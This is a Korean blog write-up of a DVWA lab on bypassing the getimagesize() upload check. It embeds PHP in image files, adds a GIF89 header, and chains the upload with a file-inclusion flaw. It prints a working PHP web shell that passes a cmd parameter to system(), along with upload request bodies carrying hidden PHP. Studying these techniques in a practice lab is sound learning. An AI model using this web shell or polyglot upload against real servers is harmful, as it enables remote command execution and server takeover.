2021/01/12 - [프로젝트/DVWA 실습] - DVWA 실습 #6 - File Upload
문제 해결 방법
이번 단계에서는 업로드된 파일의 mime-type 대신 확장자와 getimagesize() 함수 호출을 통해 업로드된 파일이 이미지 파일인지 검사하고 있다. 이 함수는 매개변수로 주어진 이미지 파일의 여러 정보(가로길이, 세로 길이 등)를 배열로 반환하는 함수로 로컬 저장소에 저장된 파일이나 원격 저장소에 있는 이미지의 정보를 추출할 수 있다. 이 함수는 이미지 정보를 얻어오는 데 실패한다면 false를 반환하기 때문에 이를 업로드된 이미지 파일에 적용하여 이미지 정보를 추출함으로써 사용자가 유효한 이미지 파일을 업로드했는지 검증하고 있다. 정상적인 이미지 파일에 대해 함수를 호출하면 다음과 같다.
<?php
$result = getimagesize('https://images.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png');
var_dump($result);
// array(6) { [0]=> int(544) [1]=> int(184) [2]=> int(3) [3]=> string(24) "width="544" height="184"" ["bits"]=> int(8) ["mime"]=> string(9) "image/png" }
?>
이미지의 가로, 세로 길이와 문자열로 표현된 길이(img 태그에 활용하기 위함), mime-type 등이 배열에 담겨 반환된 것을 볼 수 있다. 그렇다면 이미지 파일이 아닌 파일을 대상으로 함수를 호출하면 어떨까?
<?php
$result = getimagesize('https://www.php.net/images/logos/php-logo.svg');
var_dump($result);
// bool(false)
?>
svg 파일은 언뜻 보기에는 이미지 파일 같지만 일반적인 이미지 파일이 아닌 벡터 그래픽이기 때문에 이를 인식하지 못한다. 그래서 위의 png 파일과 달리 배열이 아닌 boolean 값(false)이 반환되었다. 그렇기 때문에 php 파일을 jpg로 바꿔서 업로드해도 getimagesize( ) 함수에서 false 값을 반환하여 파일 업로드가 실패하는 것을 볼 수 있다.
그렇다면 이 함수를 어떻게 우회할 수 있을까? 단순히 php를 jpg 같은 확장자로 바꾸면 확장자 검증 로직은 통과할 수 있지만 이미지 파일 자체를 읽어서 처리하는 getimagesize()는 우회할 수 없는데 이는 위의 매뉴얼에 나온 경고문에서 힌트를 얻을 수 있다.
Caution This function expects filename to be a valid image file. If a non-image file is supplied, it may be incorrectly detected as an image and the function will return successfully, but the array may contain nonsensical values.
Do not use getimagesize() to check that a given file is a valid image. Use a purpose-built solution such as the Fileinfo extension instead.
이 함수는 유효하지 않은 이미지 파일이라도 이미지 파일로 착각해서 false를 반환하지 않고 대신 이상한 값을 가진 배열을 반환할 수 있다고 한다. 그렇기 때문에 이 함수로 파일이 유효한 이미지 파일인지 검사하지 말고 Fileinfo 같은 확장 프로그램을 사용하라고 조언하고 있는데 이는 댓글에서 자세히 설명하고 있었다.
[ simon dot waters at surevine dot com ]
Note: getimage size doesn't attempt to validate image file formats
It is possible for malformed GIF images to contain PHP and still have valid dimensions.
Programmers need to ensure such images are validated by other tools, or never treated as PHP or other executable types (enforcing appropriate extensions, avoiding user controlled renaming, restricting uploaded images to areas of the website where PHP is not enabled).
http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/
비록 위의 링크는 너무 오래되서 그런지 사라졌지만 이 simon이란 사람은 조작된 GIF 이미지에 php 코드를 삽입하면 valid dimension을 가진 유효한 이미지 파일로 취급되면서도 php 파일로 실행될 수 있다고 한다. 이 함수는 매개변수로 전달된 파일의 이미지 파일 포맷을 검증하지 않기 때문에 실제 이미지가 아니라도 함수가 동작할 수 있다는 것인데 그래서 이 함수를 호출하기 전 파일 확장자를 따로 검사했던 것 같다. 그렇다면 어떻게 해야 이를 우회할 수 있을까? 관련해서 자료를 찾아보니 동일한 사람이 쓴 듯한 익스플로잇 자료를 찾을 수 있었다.
이전 포스트에서 봤던 것처럼 POST로 파일을 전송할 때 multipart로 올라가는데 이번에는 업로드되는 파일의 내용이 조금 다르다. 원래 php 파일을 업로드하면 다음처럼 php 코드의 내용이 바디에 삽입되어 전송된다.
------WebKitFormBoundary2AoxRvqBcAWEDMJf
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundary2AoxRvqBcAWEDMJf
Content-Disposition: form-data; name="uploaded"; filename="malicious.php"
Content-Type: application/octet-stream
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
------WebKitFormBoundary2AoxRvqBcAWEDMJf
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundary2AoxRvqBcAWEDMJf--
그리고 간단한 이미지 파일을 업로드하면 다음과 같이 전송된다.
------WebKitFormBoundaryZCOcApR5us8zisB2
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundaryZCOcApR5us8zisB2
Content-Disposition: form-data; name="uploaded"; filename="3449393a552b4de2f11f0379530df269.jpg"
Content-Type: image/jpeg
?? JFIF ` ` ? C
%# , #&')*)-0-(0%()(? C
(((((((((((((((((((((((((((((((((((((((((((((((((((? | ?" ? ? ? 畢l꼁ㄼ뵣 Mm천:q슓쳆??E?j콽꿸灌탭:횞N^쁖We쉞Q=븐쯠??]?s헙퇄竇N?OO뺦儁?쒎8L뛔[St+⑬쐽孔?{q?K&?숯?痢}쭯?^?∂+#PRB L be곰??p崑?쐠;멗딠??쯝? iWi_.?ⓕ뀙?!t?L1? ?쒿Cx묯? x Y晨H?쫢톌昐볏툸?oo"l? P"H똨B?IF
?묱 ,aRI쮫?@? hべ뗐:Q뮔"?p쓤6훤LR? P?I +??.븯톓빲|i-셰&??v\P-晋?2믎툯? ?쏧裵衍뀾멩똙닍vD`썉 ?떴▧귺[-븉[e-콉?빺K,궋B%)+?B褙?彬CX?갺*툒탨땷f븒Tq=?en園㉵?삪D둯RN?뾟?P퀘??g$???붻(쇩*?쓛$?떻"?ugZ+쓞??遷땜믻猿6??춽班??b?xq逼?퍬R?ev쀍H쨁칌뽄釘~뚦롕??ゥ痂g긷쁜?8?
...
이미지 파일이기 때문에 문자로 표현될 수 없는 바이너리 값들이 part에 담겨있는 것을 볼 수 있다. 이는 HxD로 확인해본 이미지의 16진수 값과 동일하다.
그리고 익스플로잇의 예시로 제공된 HTTP 요청의 바디를 보면 다음과 같다.
-----------------------------2147563051636691175750543802
Content-Disposition: form-data; name="Filedata"; filename="c.php"
Content-Type: text/php
GIF89/* < ³ ÿÿÿfffÌÌÌ333Ìÿÿ™™™3ffÌÌÿÌÿÌ™™Ìf3f 33 f™™3 3 3!þ GIF SmartSaver Ver1.1a , È < þ ÈI«½8ëÍ»ÿ`(Ždižhª®lë¾p,Ïtmßx®ï|ïÿÀ p¸ Ȥr™$ö˜ 4ê¬Z¯Õ cËíz¿`n { „ 2-xLn»ßé³|Î`« ¼^O6‡ãkp‚ƒ„#jtˆ]v)~`}g€_‹…”••‡‰‰“' _ 1˜Š–¤¥‚¢™s›& ^ŸŽ¡a«¦´µ?¨©g³$]¯ž± ¶ÃÄ<¸¹Âw X½\‘^»ÅÒÓ+ÇÈÐ,Í[Ô%ÇÑÜàá)ÖßÙËâ Þèëì'äeç MÌJ êíøùöº x{{ üý P€‚64
ðVpÃ@> 8PƒÄ3 R±pOŸÇ þ ÞU8˜!@˜ (SbL9 a “š6Z8·° É 03 )¡#ÈŸøD Œ÷òäµI ¬ qY RN›D $½Æ€§O XÅ p §Qd‹
Ps c˜® &’y5«Ûi[ÓF ð´‹R~ ÄŽ%Û4 Z {· Ðöa[q¥Î•P—Ë]Yy o™„mc/*ål,|¸3©Ä )\fðX˜d.L+Ç“Ã Àh¾ 8{žM ôb×'‡‚**GãEŒ Tï>غgnãÉh+/d{·…у¹FU;ñ9ë ‰Xv} A/¬Ø —‹ Ôü»u0Ñå:g Ãëôªxv-À’嬮²Çë'R ˜Wôº™þ' f XCÅuýÜÆ ~áíç ý¹âÞqê xÐ7Þ}ÑP{ ®ç Ö„Ôàƒ$
¡/ (Ýz zQÜLááÕ¡€ ý6‡ˆÉ•¨c ':“â é)¶ w Ý <H£A5å‚£$;FÉ£ŒJúw Z žŠ -ƒ$ ¡Iõ "Ob#å™8ô¸Í ˜e)a™vu@ä— „6f"pŠ æž5¨‰Ð XVù&r v
3jy'ž„šÉç£/øY …B
h¤œ^ž f<‹’FP‹(n %¤¤² )›q
*{\j0§¦už *f;©ê£¨Ž–ª« § Ú¦kÒ¥`ž‚
k¢oZÓ ²¡þæ·ë³ ôzå¯ j9ë /º9*/<?php phpinfo(); ?>/*
`ÇŽ´Ìµ°U .±áBkî>#VëE’ ¦ªîª• Šj v« £í ¹åœë/®¹¾‹ Æ;h»6 D ·`°k0ŠÇ H¡³ÿú› ÃòN n Äñf/¹¤a÷±ÀkFÜ ‡ WlîÅÊÊ4f c¶Q s´6 ¢ˆz Ê1/RǯÊ@Wpñ ™É ³&¸ Ç]Aæ|ñ n± O ôÕ o+îi! † ¥!"“ÓÀ"4õ ¥—2Ö¤^ óX0wʆZ™´F6É rÝuÖV³²Û Ò óÔzâ Hqw?|kà‚ÿìwÅnóýUÆ’køá‡e |ùŸ•£7šã [L%G‚ãA©á}‹–Ku™7¼éza q- k‡Žf䬆·¯¯£ŽÔé² $nç Àk vº¶'o D(åá°<
éQ€ `£` q}FÙ*ïý÷à‡/þøä—oþù觯þúì·ïþûðÇ/ÿüô×oÿýøç¯ÿþü÷ïÿÿ ;
-----------------------------2147563051636691175750543802
Content-Disposition: form-data; name="submit"
Upload Image
-----------------------------2147563051636691175750543802--
거의 비슷해 보이지만 뭔가 다른게 눈에 띄지 않는가? 바로 이미지 파일을 전송할 때 보내졌던 바이너리 사이에 PHP 코드가 숨어 있는 것을 볼 수 있다. <?php ~ ?> 사이의 코드는 php 엔진에서 처리되기 때문에 만약 이 파일을 다른 파일에서 include 하거나 실행한다면 이 바이너리 사이에 숨어있는 php 코드가 실행되는 것이다. 이 파일의 경우 phpinfo() 함수가 실행될 것이다.
그렇다면 위의 익스플로잇처럼 이미지 파일 내부에 php 코드를 삽입하면 getimagesize() 필터링을 우회할 수 있지 않을까? 그래서 100000바이트 크기 제한에 맞춰 적당히 작은 이미지 파일을 전송한 후 이를 Burp Suite에서 잡아 다음과 같이 수정하였다.
또는 HxD 같은 16진수 에디터에서 직접 코드를 삽입해도 된다.
전송 결과 다음처럼 파일 업로드가 성공하는 것을 볼 수 있었다.
이 경우 getimagesize() 에서는 어떻게 이미지를 판단하고 있을까? DVWA 소스 코드를 수정하여 확인해보았다.
array(6) { [0]=> int(304) [1]=> int(121) [2]=> int(3) [3]=> string(24) "width="304" height="121"" ["bits"]=> int(8) ["mime"]=> string(9) "image/png" }
실제 정보와 비교해보니 일치하는 것을 알 수 있었다. 이렇게 중간에 바이트가 몇 개 바뀐 이미지 파일이라도 결과적으로는 가로, 세로 길이를 가진 png 이미지 파일로 인식되며 getimagesize() 함수로도 유효한 이미지 파일이라 판단된 것이다. 그러면 이렇게 업로드된 파일을 저번처럼 Directory Traversal을 이용해서 참조하면 되지 않을까? 여기서 또 다른 문제가 발생한다.
업로드된 파일은 png 파일이기 때문에 서버에서 이를 참조해도 위처럼 뭔가 이상한 이미지 파일로만 출력된다. 기본적으로 png 확장자는 실행할 수 있는 php 스크립트 파일로 여기지 않기 때문인데 그렇다면 업로드해도 이를 악용할 수가 없지 않을까? 이는 지난번 실습인 File Inclusion과 응용할 수 있다.
2021/01/12 - [프로젝트/DVWA 실습] - DVWA 실습 #5 - File Inclusion
File Inclusion에서는 include() 함수를 이용해 다른 php 파일을 인클루드하는 취약점을 가지고 있었다. 이 실습에서 File Upload에서 올린 악성 파일을 include() 하면 이미지 파일을 읽어 내부의 <?php ~ ?> 코드가 실행되기 때문에 이 두 취약점을 같이 응용할 수 있다.
이미지 파일 내부의 <?php phpinfo(); ?> 코드가 실행되어 phpinfo() 함수가 호출된 것을 볼 수 있다.
페이지 맨 위와 아래에 이상한 문자열도 같이 출력되었는데 이는 php 코드 뒤에 남아있는 png 파일의 바이너리 값이다.
간단한 방법으로 'GIF89' 라는 헤더를 코드 맨 앞에 붙여주는 방법도 있다. 위의 익스플로잇에서도 사용한 방법인데 파일이 전송되는 input의 part에 담긴 데이터의 맨 앞에 'GIF89'를 붙여주면 이는 GIF 파일로 인식되기 때문에 getimagesize() 함수에서 이미지로 처리하게 된다. 위키피디아에 나와있는 헤더 정보를 참고하면 데이터의 맨 앞에 붙는 형식이기 때문에 삽입하기도 어렵지 않다.
아무튼 이렇게 File Inclusion과 File Upload 취약점을 같이 응용하여 문제를 해결할 수 있었으며 만약 png 파일 내부에 좀 더 복잡한 코드가 삽입되었다면 단순 정보 출력뿐 아니라 서버 파일을 조작하거나 사용자가 조작할 수 있는 웹쉘로 동작했을 것이다.
'프로젝트 > DVWA 실습' 카테고리의 다른 글
DVWA 실습 #7-1 - Insecure CAPTCHA(low) (0) | 2021.01.14 |
---|---|
DVWA 실습 #7 - Insecure CAPTCHA (0) | 2021.01.14 |
DVWA 실습 #6-2 - File Upload(medium) (0) | 2021.01.14 |
DVWA 실습 #6-1 - File Upload(low) (0) | 2021.01.14 |
DVWA 실습 #6 - File Upload (0) | 2021.01.12 |